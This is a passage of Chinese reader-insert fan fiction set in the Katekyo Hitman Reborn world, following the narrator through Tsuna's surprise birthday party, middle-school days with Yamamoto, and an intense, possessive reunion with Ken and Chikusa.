“呼,气球全充满气了。” 在你认真摆弄彩带位置的时候,山本武的工作也完成了。 山本武认真记下了你的图纸,他把几个气球粘合在一起摆成新的造型,站在选定的气球,山本武上下调整着方位,“春也,你看把气球放在这里怎么样?” “再往下…可以往左…不对再往右……可以了!” 你们互相配合,慢慢的,简约空旷的房子变得热闹起来。 金色阳光像午后蛋糕上甜蜜丝滑的蜂蜜,懒洋洋潜入屋子,照得普通装饰炫彩耀眼,你们拿出蛋糕摆放在可推动的小餐车上,红丝绒布覆盖住你们的惊喜,一切准备就绪,你给沢田奈奈发了条信息。 然后,手捧礼炮,你和山本武一左一右站在门后等待着沢田纲吉的到来。 * 沢田纲吉觉得妈妈今天很奇怪,先是带他吃了顿香喷喷的早餐,然后又给他买了漂亮帅气的新衣服,要知道,妈妈很少会买外面的饭给他吃,而新衣服更是不会在平常的日子里买。 小小的沢田纲吉透过路边的玻璃看着自己崭新的装扮,牵着妈妈温暖的手,他仰头看了几眼心情很好的妈妈,沢田纲吉小小的手慢慢抓紧妈妈的大手,他看着玻璃镜面里嘴角止不住上扬的自己,沢田纲吉眨了下眼。 难道今天是什么特殊的日子吗? 沢田纲吉完全忽略了自己生日的选项,自从爸爸过世后,他很少过自己的生日,渐渐的,沢田纲吉也就没那么期待了。 “好了,到家咯。” 沢田奈奈松开了阿纲的手,她温柔地摸了摸阿纲脑袋,温暖干燥的掌心轻轻移到沢田纲吉后背,而后不轻不重推了他一下。 “妈妈手上拎了东西不方便呢,阿纲来开门吧。” 沢田纲吉看了眼妈妈手上的糖炒栗子,虽然心里疑惑,但沢田纲吉还是乖乖点头。 “吱呀——” 木制大门发出轻微刺耳的声音,屋内透出的光线照亮了沢田纲吉脚下的路,伴着巨大的“砰”响,沢田纲吉正式踏入家门,耳膜震震的,他茫然地眨了下眼,掉落在睫毛上的亮片因为震颤落了下来,明亮温暖的棕瞳在看到那些明媚亮眼的布置前,率先发现了你。 “生日快乐——” 山本武利落从旁推出早就准备好的蛋糕小推车,两个人的声音混杂在一起,听得沢田纲吉脑子懵懵的,他有些不敢置信地看着面前的小推车。 “我……吗?” “当然是阿纲啦。” 你和山本武齐齐掀开盖在蛋糕上的红丝绒布,“今天的寿星可只有一个哦~” “来许愿吧,阿纲!” 第84章 关于愿望, 沢田纲吉从你口中听过很多很多遍,这还是第一次听到你说要让他来许愿,他的心里忽地升起了莫名的感动。 等等, 不对!现在最重要的是你居然给他过生日了啊!! ——他明明只是在无意中不小心吐露了自己的生日。 忐忑、期待、害怕……哪怕隔了很久很久, 沢田纲吉也依旧记得自己当初的心情。心脏像被卷入绞肉机的刀片, 偏偏欢愉盖过疼痛, 沢田纲吉下意识想要后退一步。 ——妈妈站在他身后止住了他后退的步伐。 “如果不是春也,妈妈又要忘了今天是阿纲的生日呢。”沢田奈奈看到阿纲这幅表情, 她又是失落又是愧疚。 真是奇怪, 生下阿纲的那一天,她明明也想让阿纲成为这个世界上最幸福的小孩啊。 “对不起, 妈妈失职了。” 细细回顾才发现,原来不知不觉间,她已经错过了阿纲的好多次生日。自从亲爱的去挖石油后,她总是沉浸在担忧和思念里,慢慢的, 也疏忽了对阿纲的照顾。 沢田奈奈也很疑惑自己的记性为什么会变得这么差劲。 “……不…没关系…没关系的。” 鼻子一酸,沢田纲吉哑着嗓音, 强装无事。他本来已经不再期待起自己的生日了, 他本来不在乎了的……但是,但是,为什么现在的他会觉得好开心? 沢田纲吉无法控制哽咽的本能,他捧着山本武递来的蜡烛,沢田纲吉吸了吸鼻子,努力克制乱糟糟的情绪,他努力朝你们露出一个大大的笑容:“我现在已经很开心了!” 窗帘被拉上,屋内一下变得昏暗, 沢田纲吉紧张地插上蜡烛,然后又小心翼翼点起。昏暗的屋子里,只有面前微弱的烛光照亮了这片方寸之地。 借着烛光,你看到沢田纲吉缓缓闭上了眼睛,颤动的睫毛彰显了他不平静的心情,烛光也在晃动,明明灭灭的光影照在他脸上,却更显得沢田纲吉天真乖巧。 “我许完愿啦!” 很开,沢田纲吉睁开眼睛,他吹灭了蜡烛。再次拉开窗帘,明亮的光线尽数倾泻而下,照亮了屋子,也明媚了沢田纲吉。 今天沢田纲吉还做了个造型,额前的小碎发挽起用亮晶晶的小夹子固定,露出光洁圆滑的额头,沢田纲吉仰起脑袋傻兮兮地笑着,他珍重地给了在场每个人一个大大的拥抱。 “谢谢你们,我真的非常非常喜欢今天!” 小孩子表达自己的喜欢时总会以重复来表达自己的激动,沢田纲吉也是如此。像一颗温暖的小火炉,沢田纲吉紧紧抱住你,你低头,恰好和他亮晶晶的视线对上。 “我的愿望,就是想和大家永远像这样在一起!” 沢田纲吉的笑容是你见过最有感染力的,生机、柔软又带着些本人都未觉察到的坚定,你的心脏微妙因为这样的沢田纲吉触动了一下。 “会的。”你异常肯定。 山本武认真注视着你们,他抬手同时揉了揉你们两个人的脑袋,笑容灿烂道:“当然,我们会一直一直在一起!” “咔嚓!” 温馨的氛围定格,沢田奈奈拿相机拍下了你们此刻的模样,不知道为什么,心脏忽然暖暖的呢,沢田奈奈忍不住用手捧住脸颊,笑意从眼里溢出。 沢田奈奈并没有阻止你们先吃蛋糕的行为,像是忽然从拍照中得到乐趣,沢田奈奈举起相机忍不住对着阿纲和他的朋友哐哐一顿乱拍。 握起餐刀,沢田纲吉拿出比学习还要严谨的态度郑重又公平地切完了四块蛋糕。 “这个蛋糕可是我和山本共同努力的成果哦。” 接过蛋糕,你补充了一句,你可不是做好事不留名的好心人。 举起蛋糕把最后一块递给妈妈,沢田纲吉惊讶瞪圆眼睛,他有些迫不及待地叉起一大块蛋糕送进嘴里,腮帮子鼓鼓的,沢田纲吉边说边忍不住点头,直到一整块蛋糕都化入他肚子里,他语调上扬:“这绝对是我吃过最好的蛋糕!!” “哈哈哈哈阿纲喜欢就好。”山本武的反应没有沢田纲吉那么剧烈,眼睛眯起惬意品尝,像是想到什么,山本武笑容天然:“说起来,春也本来还想在蛋糕上放汉堡肉呢哈哈哈哈。” “汉堡肉?咸甜结合?!”沢田纲吉震惊:“这才是世界上最绝望的死法吧!” 虽然沢田纲吉喜欢汉堡肉没错,但这个很明显是黑暗料理啊! 你装作不经意路过沢田纲吉身边,然后恶狠狠踩了他一脚,完全没理会沢田纲吉的惨叫,你顺势将吃完的蛋糕纸盘扔入垃圾桶。 沢田纲吉含泪啃蛋糕:“我哪里又惹到她了?” 山本武忍不住笑了几声,没有回答被迁怒的阿纲。就这么短短一会的功夫,你们再次给沢田奈奈贡献了不少珍贵照片。 “好了啦,蛋糕吃完大家可以来吃饭了哦~” 沢田奈奈放下相机,抬手撩起对她而言过低的彩带和装饰,她弯腰穿过宛若盘丝洞一样的家。今天的饭菜是山本武亲自下厨做的,大约是为了庆生,山本武还特意做了摆盘,精致美观的饭菜一看就很有食欲。 你早早坐好,沢田纲吉和山本武一左一右坐在你两旁,沢田奈奈看着眼前黏糊糊的三小只,笑容更深了。 平淡又异常明媚的一天,你们窝在明亮的小家里,一起度过难得悠闲惬意的午后时光。 屋外的小庭院不知何时装了个超级巨大的摇摇椅,正好够你们三人蜗居。下完雪的天气冷多了,偏偏今天阳光大好,懒洋洋照在人身上,升起不少温度,你们三个紧紧贴在一起,倒也不觉得冷。 “春也今天的愿望是什么呢?”忽然,抱着你送的狮子玩偶,沢田纲吉忽然想起什么,他仰头看你。 无风的日子里,懒洋洋的太阳照得你整个人都懒洋洋的,你放空大脑,然后眯起眼睛假寐。听到沢田纲吉的话,凭借本能,你慢吞吞回答:“阿纲今天度过一个快乐的生日。” “这就是我今天的愿望。” 沢田纲吉感动得眼泪汪汪,艰难在三人窒息的贴贴中蛄蛹两下,沢田纲吉放开玩偶转而紧紧抱住你,脑袋自然贴在你胸前,他一下一下数着你的心跳声,沢田纲吉忽然又想起了自己刚刚许下的愿望。 除了希望大家永远在一起,他还悄悄在心里许下了一个饱含私心的愿望。 ——沢田纲吉想要和今春也做一辈子的好朋友。 山本武的骨架比你们大,他一手抱着怀里的你,一手搭上沢田纲吉的肩膀,抬眼看向天空中最刺眼的太阳,山本武慢慢听着你们小声的交谈,耳边的鸟鸣和不远处的狗叫似乎都在远离,他缓缓闭上眼,然后沉沉进入梦乡。 等到沢田奈奈出来,看到的就是你们三人齐齐睡过去的场景。 “真是的,冬天睡在外边也不怕感冒。” 无奈摇了摇头,沢田奈奈进屋拿了条格外厚实的毛毯,她轻手轻脚靠近你们,然后替你们盖好毛毯。有了温暖的毛毯,你们睡得更加踏实了。 小孩子的生长总是格外快,等到叶子绿了又黄,河水冰了又暖,你们已经成了一脚踏入中学的小大人。 比起你和沢田纲吉,山本武完全和春日里的笋一样,个头一天高过一天,等到你有所察觉的时候,你发现自己已经需要仰头才能看清他的眼睛了。 “在想什么?” 上场之前,山本武一眼就看到了前排的你和沢田纲吉,他小跑两步来到你面前,山本武笑容阳光,“我马上就要上场了,不说点鼓励我的话吗?” 今天是校园棒球大赛,虽然只是普通的友谊赛,但山本武还是很重视。 “山本加油!”沢田纲吉绷着小脸格外认真,“如果是山本的话,一定可以的!” “哈哈哈哈哈阿纲对我这么有信心啊。”山本武转而看向你,“春也呢,不打算对我说点什么吗?” “加油。” “诶,好敷衍。” 山本武开玩笑道,不过他也知道你就是这样的性格,抬手揉揉你的脑袋当作激励,等到你再次抬头时,不远处的队友正在挥手召唤他,山本武直起身同样朝他们挥了挥手,他扭头最后看了你一眼。 “我要过去了,春也。” “赢的话,请你吃寿司。”看他转过离开,你这才慢悠悠开口:“输了的话,请你吃饼干乌冬面。” 山本武回头,听到你说完了最后一句话:“改良版的新品种。” 愣住一秒,忽地,他朝你们露出一个大大的笑容:“我很期待。” 空旷的场地寥寥站了两队棒球人员、裁判和主持人,那么多个身穿白色棒球服的人,但你偏偏只能注意到刚跑到赛场的山本武。 步入青春期的少年体格开始发育,脸颊上的婴儿肥慢慢褪去,取而代之的是下颌越来越锋利的线条。单单站立在那儿,他就像一棵青春正好的白杨树,这幅画面把少年人的挺拔和坚韧描绘得淋漓至尽。 山本武从口袋里掏出棒球专用绷带,锋利森白的牙齿咬着白色绷带一段,另一只手不紧不慢将白色绷带缠绕在手腕,蓬勃有生命力的血脉和肌肉藏在里面,山本武以同样的步骤缠好了另一只手。 山本武长大了啊…… 你心里突然升起了一股莫名的感伤,这些年,你天天和阿纲和山本呆在一起,见证了他们的生活,也见证了他们的成长,但你至今还不知道骸骸、犬和千种的下落,从一年前开始,骸骸突然就和你断联了,你已经很久没有得到骸骸、犬和千种的消息了。 想到这里,你的心情再次变得晦涩昏暗。 沢田纲吉第一时间察觉到你的心情变化,悄悄往你旁边蛄蛹了两下,他关切地问道:“春也怎么了?” “没什么。”你很快调整好心情,“稍微想起了点不开心的事。” 沢田纲吉也不知是信了还是没信,大大的狗狗眼里满满的关心:“那春也要是什么时候想说可以和我倾诉,不开心的话,发泄出来会好很多。” 这是沢田纲吉的亲身经验,在他过去不开心的时候,你经常会带着他去空旷无人的大平原或者小森林释放不开心的压抑情绪,慢慢的,沢田纲吉也喜欢上了宁静又包容一切的大自然。 ——还有你。 只是沢田纲吉很少会听到你的抱怨,你总会安静站在那儿,接纳他保护他,沢田纲吉也很想为你做些什么。 “不要想太多。” 你揉了揉还在担忧的沢田纲吉,你总是觉得这家伙的情感过于纤细敏感,不过一年又一年,在你的调养下,沢田纲吉渐渐也褪去了当初的胆怯不自信,现在的阿纲可比你一开始遇见的开朗多了。 当然,比起其他的,你更希望阿纲学会拒绝。 眼见山本武的比赛快结束了,你扭头看向沢田纲吉:“阿纲,去买瓶水过来。” 沢田纲吉回答得异常积极:“好的!” 你连忙伸手拽住他的衣角,但凡你动作慢一点,沢田纲吉就要跑没影了,虽然根据他的运动水平,还是滚没影来得更快些。 “阿纲!” 你语气重了点,沢田纲吉还没理解你的意思,他困惑地眨了下眼。 “你忘记我说过的话了吗?” 沢田纲吉这才恍然大悟,随即,他摇了摇脑袋,语气真诚:“但是我唯独不想拒绝春也啊。” “如果是春也的话,不管你想要我做什么事,我都会答应的。” 说到这,沢田纲吉无奈笑了下,眼里闪烁着异常执拗的光芒,他坚定道:“抱歉,拒绝春也这种事情,我做不到。” 巧言令色。 这不是很会拒绝吗? 你有些气闷地看着沢田纲吉离开的身影,阿纲这家伙,真是越长大越不可爱了!! 所以,等到阿纲回来的时候…… “诶?今天一整天都要拒绝别人?!”沢田纲吉大惊:“包括你!!” “没错!”你喝着冰凉的汽水,得意极了,“不完成愿望的话,阿纲知道会有什么后果吧。” 沢田纲吉很是苦恼地抓了抓头发,他倒不是排斥拒绝别人啦,主要是为什么拒绝的对象里还要包括你啊——这绝对是你的恶意报复!! 第85章 等到山本武的棒球赛结束时, 沢田纲吉还在那不停的碎碎念。 “他这是怎么了?” 山本武拿毛巾擦拭额头冒出的汗珠。今天太阳大,天气热,加上又运动了一番, 山本武出了不少汗。薄薄的汗液稍稍浸湿白色棒球服, 微微潮湿的衣服紧紧贴在他身上, 隐隐显出薄薄的肌肉形状, 山本武站得离你有一些距离,自然接过你手上没开封的矿泉水, 他随意撩开衣服, 塑料水瓶划过肌肉,瓶盖顺势打开, 渴极了的山本武咕嘟咕嘟开始喝水。 随意靠着栏杆,你一直盯着山本武看。 大约是喝得急了,水珠从他嘴边溢出,有几滴顺着下巴滑落滚动到喉结,山本武像是没注意到, 喉结滚动,亮晶晶的水珠也顺着他喉结滚动的动作缓缓没入衣领下。 直到他浅淡的虹膜转向你, 你才悠悠回神。 “阿纲今天一天都要拒绝别人。” 眸光微动, 山本武笑着拧上瓶盖:“那今天一定很有意思。” 沢田纲吉无奈:“不,我觉得完全不会。” 沢田纲吉觉得你对他存在某种误解,常年和你呆在一起,沢田纲吉早就不知不觉浸染上了你的气息,爱意催生自信,学会拒绝也不过是时间的事。尤其是,沢田纲吉第一次真真正正说出口拒绝也是因为你。 日本的学生大都早熟,虽然没见到你的全貌, 但你的气质和不经意露出的半脸足以令人喜欢上你,只不过碍于你最开始可怕的行径,没有人敢把这种冒犯的心思放到台面上。直到步入中学,班级里的同学换了一批,你的事迹也逐渐淡化,有人勇敢踏出了第一步。 沢田纲吉就是在这个时候收到男生想要递给你的情书的。 因为自己不敢亲自送到你面前,所以就委托和你关系最亲密的他来传达吗?沢田纲吉几乎控制不住喉间想要溢出的冷笑。 为什么,居然这么敢直接地确认他会同意这种请求?为什么不去找同样和你亲密的山本武?通过男生的神态,沢田纲吉一眼就得出了结论。 ——因为他太好说话了。 沢田纲吉从不拒绝他人的请求,无论是放学后拜托他帮忙打扫卫生,还是请求他把作业借给人抄一下……沢田纲吉从来都是同意的。 那个时候,你简单提过一嘴,但沢田纲吉当时只是笑笑,他不觉得这些请求有什么问题,他也愿意帮助人。虽然沢田纲吉偶尔也产生过想要拒绝的想法,但拒绝的话到嘴边却又古怪的说不出口,更何况对上别人恳求的眼睛,沢田纲吉也心软。 但是!沢田纲吉可以接受任何请求,唯独这一种…… 一想到未来你会投向别人的怀抱,你的笑容会展露在陌生人的面前,你会渐渐和陌生人亲密起来,你的天下第一好将再也不会是他……只要想到你有丝毫远离他的可能,沢田纲吉的心脏就控制不住地涌起一阵恐慌。 不可以不可以不可以不可以不可以绝对不能接受你有离开他的任何可能!他绝对无法接受没有你的未来! 面前的男生还在害羞地诉说自己的真挚情感,沢田纲吉习惯性挂起过去温和的笑容,向来温暖明媚的暖棕色眼瞳慢慢变得幽深,他听着男生剖析着对你的爱意,沢田纲吉心里涌起古怪的情绪。 胃里反常地开始感到反胃,难以抑制地呕吐感被他死死压抑着,捏住情书的手指用力到泛起可怖的白,暴露的青筋从手背开始一路蔓延至手腕,沢田纲吉越来越难以保持微笑,耳朵自动过滤掉那些他不想听的话,等到男生终于安静,沢田纲吉听到了男生的请求: “我知道沢田同学和今春也的关系很好,所以拜托沢田同学帮我转交一下情书,事成之后,我请你吃饭!” 沢田纲吉难得升起一丝疑惑,都知道他和春也的关系很好了,那你怎么还敢来找他转交情书呢? “我知道沢田同学不会拒绝人,所以这个就拜托你了!万分感谢——!!” 迎着男生期待的眼神,沢田纲吉听到了自己异常冷漠的声音:“你的心意很真诚。” 眼看他笑了,沢田纲吉慢吞吞补上后半句话:“但是很抱歉,我拒绝。” 拒绝两个字说出口,沢田纲吉忽然觉得身上一轻。原来,人要真正说出拒绝两个字,其实也不难,只是沢田纲吉心里一直以来的畏惧和胆怯阻碍了他把话说出口的勇气。 而且,这种事情,如果他真的同意了,沢田纲吉才会痛苦终生,并且永远都无法原谅当时那个不敢说出拒绝的他。 “诶?” 礼貌把情书还给男生,沢田纲吉再也无法忍耐,他转头离开了这里,没有在意别人的心情。沢田纲吉现在都记得,他当时跑到你面前狠狠抱了你好久好久,直到你不耐烦一掌拍开他,他亲昵地蹭了蹭你打过来的那只手,沢田纲吉这才隐隐恢复了正常。 从那天起,沢田纲吉发现拒绝别人已不再成为一件难事。 山本武的想法和沢田纲吉隐隐重合了一小部分,他也觉得你对沢田纲吉的态度过于特殊了。宠溺、包容、怜爱……复杂的情绪混杂在一起,渐渐形成了沢田纲吉是特殊的这一现象,偶尔,哪怕是山本武也会忍不住产生难以言说的嫉妒。 可偏偏,这种糟糕的负面情绪反而将你们三个紧密的连接在一起,无论谁都无法再分开你们。山本武时常对这种局面感到困惑。 明明他才是第一个来的,明明是他第一个认识你,也是他第一个出手帮助你……为什么偏偏阿纲成了你心里最特殊的人,可偏偏也是理智让他清楚你为什么会对待阿纲特别。 山本武后来见过无数次沢田纲吉温和拒绝别人的样子,也看到沢田纲吉勇敢面对当初他最怕的那只吉娃娃,但在你面前,沢田纲吉又会熟练恢复成看到吉娃娃哭唧唧的模样…… 早在不知不觉中,沢田纲吉已经蜕变成了可以展翅的蝴蝶。你或许知道,或许不知道,或许不知道,但山本武也没有戳破的想法。 成长了很多的山本武已然有了更好的思路,既然阿纲是你心里的特殊,那么,他要成为你心里的唯一。 至于你知不知道沢田纲吉的变化,这已经不重要了。 ……有点意思。 不远处的高树,不知名的小婴儿架着狙击镜,透过狙击镜的瞄准镜,他清晰看到了你们三个走在一起的背影,某还未透露身份的十代目候选和他看中的十代目候选手下正一左一右伴着你往前走,那两个人似乎都没察觉到,他们的身体在无意识靠近你。 身体的语言可比嘴巴诚实多了,某小婴儿眸色幽深地盯着这一幕,九代目委托他的时候可还没说他的继承人陷入了三人行纠纷啊。 而且,那个女孩似乎有点眼熟…… 第86章 你和沢田纲吉、山本武丝毫不知道有神秘杀手在暗中关注你们, 你们正慢悠悠走在去饲养园的路上。 这学期新增了门观察和饲养小动物的课程,下节课恰好就是它。 山本武:“我先去洗个脸。” 说完,山本武就朝着不远处的水池走去。水珠、阳光、腹肌……想到自己刚刚看到的阳光画面, 脚步微移, 你不紧不慢跟上山本武。 学校室外水龙头的水不管什么季节都是冰冰凉的, 你站在离山本武不远的地方, 看他直接把脑袋埋入涌动清澈的水流里。直到水流潮湿他的发丝,山本武这才直接仰头甩了甩脑袋, 溅起的水珠落到你手臂, 凉凉的。 山本武看过来,黑色发尾还挂着几滴水珠, 在阳光的折射下泛起五彩斑斓的光晕,他简单拿毛巾擦拭几下,随后脸上挂着笑意朝你们跑来。 “等很久了吗?” 视线在山本武爽朗的笑容上停留了一会,你摇了摇头:“没有,走吧。” 你们选择饲养观察的小动物是兔子, 和人们观念里温柔善良的性格不一样,真实的兔子脾气暴躁又爱生气, 一言不合还会无声骂骂咧咧。 你站在旁边懒洋洋拨弄着沢田纲吉抱过来的干牧草, 和子现在被你养得越来越娇气,你身上有一点不属于它的气息和子都会气恼的喵喵大骂。想到和子,你捏起一根干牧草,漫不经心抵在想要靠过来的棕兔脑门,你看到它前爪腾空站立起来,棕兔仰起脑袋,三瓣嘴触碰到你手上的干牧草就开始嚼嚼嚼。 山本武在旁边简单记录着棕兔的进食状态,你松开手上的干牧草凑到他面前, 上面简单写了兔子的毛色、食量、爱好、心情等。 “今天兔子的心情很好吗?”你看看嚼吧嚼吧不断进食的兔子,原谅你实在无法从它那双黑漆漆的大眼睛里看出什么情绪。 “山本可真厉害,每次都能精准判断兔子的心情。” “哈哈哈哈其实也不难。”笔盖抵着下巴,山本武看着沢田纲吉喂食兔子的画面,他天然道:“只要足够熟悉,自然而然就能察觉出它的状态。” 说着,他却偏过头来看你,“你也要让它熟悉你,不要抗拒,试着接受它的全部。” 你不解:“这不是建立关系的方法吗?” 山本武忽地笑了:“是啊,但是不建立起关系的话,光凭日常的观察,可做不到了若指掌。” 你撇了撇嘴:“那还是算了吧,和子会吃醋的。” 山本武掩下眸中的思索,他笑容灿烂:“春也很喜欢和子呢。” 你不置可否:“和子是特殊的。” “和子之前是流浪猫吗?”见你望过来,山本武表情不变,他挠了挠头,笑容天然,“抱歉,因为从未听春也提起过和子的身世,所以难免有些好奇,如果不方便的话可以略过这个话题。” “……没什么不方便的。”你很少会说自己的事,不过这些年山本武和沢田纲吉对和子也十分友善,你也愿意让他们更了解一些和子,“和子是我的家人送我的宝物。” 家人? 山本武和沢田纲吉同时顿住,这还是第一次从你口中听到和你家人相关的事情。 山本武假装不经意问起:“家人?这还是第一次听春也提起过呢。” 沢田纲吉喂食干牧草的速度无意识放慢,动作幅度不敢过大,他悄悄支起耳朵。 想到好久没联系的骸骸,你难得失落地垂下脑袋:“不过已经很久没见面了。” 甚至都没再出现在你梦里。 以为触及到你的伤心事,山本武没有了追问下去的心情,他不动声色跳过了这个话题。 你安静盯着沢田纲吉喂兔子的画面发呆,其实也没有一直没联系,就在前几天,万年不遇的六道骸突兀地出现在了你梦境里,他只留下一句「有惊喜待查收」就匆匆下线,搞得你连生气的情绪都没升起,就全都不由自主化作了烦人的期待。 这几天你一直都在思考骸骸可以带给你什么惊喜,只可惜等了好几天,你都没有等到。 总不会那一天其实只是你的真实梦境,在心底叹了口气,下课铃响后,你忽然没了上课的心思,再次熟练地逃课,你一个人顺着单调的方向漫无目的地走着。 烦躁地踢着脚下挡路的石子,你气恼地迁怒:“混蛋凤梨头!” 下一个石子:“混蛋犬!” 下下个石子:“混蛋千种!” “喂,你这家伙……” 你踢出去的石子踢到了人,两道影子不知何时站在了你面前,高大的影子自上而下完完全全覆盖住你,一道熟悉的嚣张声音缓缓没入你的耳膜,而后直达心脏正中心。 “接收惊喜不知道抬头吗?” 第87章 熟悉的音调卷入你耳朵的一瞬间, 你不敢置信地抬起头,朝思暮想的人活生生站在你面前,你下意识后退了一步, 生怕眼前的一幕是幻觉。 柿本千种依旧冷静得像是昨天才和你拥抱过, 如果不是他的眼睛始终锁在在你身上, 怕是没人能察觉到他的异样。 城岛犬看上去还和以前一样, 他笑嘻嘻地和你打着招呼,见你后退, 城岛犬神色微不可查顿了一秒, 但很快,城岛犬又恢复正常, 长腿一迈,他干脆直接地走到你面前,压迫性的身高自上而下完全覆盖住你。 明明最开始是他先出声引起你的注意力,真正近距离接触后,闹腾的犬倒反而安静下来, 诡异得令人感到不安。 夕阳下坠得速度越来越快,你无意识地后退直接让自己退进了狭小昏暗的巷子里, 拉长的人影斜斜堵住巷子出口, 寂静的环境下,再细微的声响都会被放得无限大,灵敏的耳朵在声响接近前就做好了准备,预感向悬在头顶的达摩克利斯之剑,你完全克制不住自己越来越快的心跳声。 不紧不慢地脚步声慢慢朝你靠近,透过城岛犬抬手的间隙,你看到柿本千种缓缓向你靠近。 “春也,为什么要跑。” 平静的语气听不出丝毫起伏, 柿本千种慢慢在你身侧站定,冰冷的指腹轻轻拂过你的脸颊,像浸泡在潮湿湖泊里的蝮蛇,丝丝缕缕的寒意缓缓缠上你,你好像被死死黏在沼泽里的蜘蛛,织下的网一张一张化作锁链反过来将你束缚住。 “太久不见,春也是忘了我们吗?” 宽大的指节屈起捏住你脸颊上的软肉,柿本千种缓缓俯下身,幽深不见底的蓝眼睛像溺亡在深海里的鲸,他一眨不眨盯着你,温热的吐息缓缓与你呼出的气体交织,这点温热让你真切地意识到千种真的回来了。 你张嘴想要回答,但心脏莫名被攥紧的感觉又令你难以吞吐话语,城岛犬像是发现了你的困境,他恶劣地弯下腰,骤然放大的脸让你瞳孔皱缩,细致观察着你脸上每一个反应,城岛犬抬手捏住你的后脖颈。 猩红的舌头像蛇信子舔了下嘴唇,城岛犬眯起眼睛,锐利的金瞳完全就是鬣狗的模样,凶恶令人不敢直视。尤其是,正处于变声期间,城岛犬的声音还带了点哑意,低沉又透着野兽的凶恶: “我们回来找你了。” 回答他们的是你猛然扑上去的温暖,城岛犬和柿本千种不约而同瞪圆了眼睛,身体快过大脑,刻入骨子里的本能让他们率先张开双手拥抱你,半晌,柿本千种低低重复了一遍:“我们回来了,春也。” 情绪过于激烈,你一时之间无法说出一个完整的句子,只好宣泄般地狠狠咬住近在嘴边的脖子,压抑的痛呼闷闷在你耳边响起,分不清是谁的手一直安抚着你的脑袋。 等到不知道多久,彻底暗下来的夜幕如同编织的蛛网,密不透风把你们三人狠狠包裹缠绕,你终于压抑着落下一颗憋了很久泪珠。 滚烫炙热的、蕴藏了浓烈情感的泪珠狠狠敲入城岛犬和柿本千种的心脏,扑面而来的欣喜和难以抑制的满足几乎要将他们碾碎泡涨,城岛犬和柿本千种的眼睛在黑暗里亮到发光,他们低沉着、以诱哄的姿态让你一遍又一遍诉说你对他们的爱意。 “喜欢犬和千种。” “最喜欢犬和千种。” 第88章 犬和千种回来了, 这无疑是你今年收到过最棒的消息,长久以来心脏缺失的一部分终于慢慢填满,你拉着他们欢快奔向家。 “看!我一直都住在你们给我准备的房子里!当初刚搬进来的时候, 里面什么时候都没有, 是我一点一滴慢慢把它装扮成现在这个模样。” “如果犬和千种不喜欢, 我们可以换一个地方。” 柿本千种对居住地点要求不高, 但不约而同,他和犬很满意这里。 “没必要换。” 这里全是你的气息, 城岛犬和柿本千种呼吸出的每一口气都沾染着你的味道, 尤其城岛犬的五感比柿本千种还要敏感,他喜欢这种全身心都被你气味覆盖的感觉。 你一一跟犬和千种介绍着房子里每一件东西的来源, 柿本千种和城岛犬丝毫不嫌你话密,他们认真听你讲话,当你无意扭头,每一次都恰好和犬、千种对视上。 “怎么只有凤梨?” 城岛犬似是不满,他俯身捏起沙发上乖乖巧巧被你摆正躺好的菠萝玩偶, 城岛犬一眼就认出了这是骸大人。视线扫了一圈,城岛犬没发现自己和千种的代表玩偶, 他磨着尖牙, 细微的声响从口腔传出,城岛犬拽着玩偶脑袋上的菠萝叶子问你。 “犬和千种也有哦。” 买到代表犬和千种特征的水果玩偶很难,所以后来你选择自己上手做。 “是我亲手做的!” “让我看看。”城岛犬嘴角克制不住地上扬,轻咳一声,勉强压制住心底的喜悦,他故作凶恶,“要是让我不满意,本大爷可不会放过你!” 柿本千种眼眸微动, 他低着脑袋神情认真地看你:“只要是春也做的,不管什么样我都会喜欢。” 你带着他们来到卧室,好几只他们的玩偶乱七八糟地躺在床上、小沙发和吊椅里。城岛犬和柿本千种一眼就注意到了床头三只50cm的圆滚滚,除开胖滚滚的玩偶,还有大型棉花娃娃,柿本千种弯腰抱起一只,从针线缝合轨迹和布料棉花,一眼就看出你制作的认真和精细。 柿本千种很快发现了问题:“怎么没有春也的?” 你稍微整理了下乱糟糟的玩偶们,“因为我是因为喜欢和想念骸骸、犬、千种才会制作这些玩偶的呀。” 心脏不受控地颤动一秒,柿本千种认真观察着这些玩偶,他看它们一步一步由粗糙丑陋慢慢变为精致传神,好似就像他也看到了你一个人安静学习成长的那些时光。 恍惚间,柿本千种感觉自己变成了你手中的玩偶,密密麻麻的针线由青涩到成熟慢慢扎在他心脏,细密的疼痛参杂着古怪痒意,一种痛苦又幸福的滋味油然而起。 柿本千种慢吞吞抓住你的手,你的手指修剪得干干净净,完全看不出有针扎受伤的痕迹。 你疑惑看他:“怎么了?” 柿本千种微微垂下眼睛:“疼吗?” 你愣住,你想过千种会夸赞你缝制玩偶的技术,想过他会欢喜地抱住你,但你唯独没想过他会这么问。半晌,你摇了摇头,“已经不痛了……嘶!” 你受惊般瞪圆眼睛,灰蓝色的瞳孔倒映着柿本千种垂下脑袋的模样。他抬高一寸你的手,戴着茸茸帽子的脑袋低下,而后,你的手指传来湿漉漉的温热触感。 你的嗓音控制不住的颤抖:“千种……” 刚换过的牙齿尖锐森白,微微的刺痛感从指尖传来,你无措低头,恰好看到柿本千种微微抬眼注视你的模样,同色系的蓝眼睛深邃晦涩,猩红的舌尖不经意触碰到你的指腹,你隐隐幻听到千种牙齿陷入你骨骼的嘎吱响声。 “小千这家伙……” 身后似乎传来犬的谩骂声,但那声音过于低微,你没有听清,下意识后退,你的脚跟抵到了什么,无法再后退。 ——是城岛犬。 他就站在你身后。 窗帘不知道被谁拉上,漆黑的夜幕与亮堂的室内恍若两个世界,犬和千种穿着深绿色的校服,一前一后将你夹在中间,你恍惚以为自己是将要被鬣狗分食的猎物。 冰凉宽厚的手掌牢牢钳住你的腰肢,城岛犬打量着温馨的房屋,他勉强放下心,看来这些年一个人也把自己照顾得很好。 但随即,城岛犬敏锐意识到即便没有他们,你一个人也可以生活得很好。想到这一点,城岛犬眸光闪烁。他重新瞥过脑袋看你,在他看不见的岁月里,你长高了好多,虽然还是那么矮。 晦涩的目光扫过你垂到腰际的黑发、修长的四肢、以及苍白莹润的肌肤,城岛犬牙根莫名有些发痒。 怎么可以…离了他们之后…… 不断滋生阴暗晦涩的心思像荷塘里的淤泥,一层一层包裹住他的理智,城岛犬盯着你露出的毫无防备的后脖,余光是柿本千种啃噬你的画面,终于,城岛犬还是没能忍耐住,他低下头,长长的金色发丝如蛛网轻轻垂落在你耳侧、脖颈、肩颈,痒意如附骨之蛆,你控制不住地从喉间发出一声闷哼。 城岛犬像狗一样叼住了你的脖子。 “犬…” 如愿以偿,城岛犬从你口中听到了他的名字。 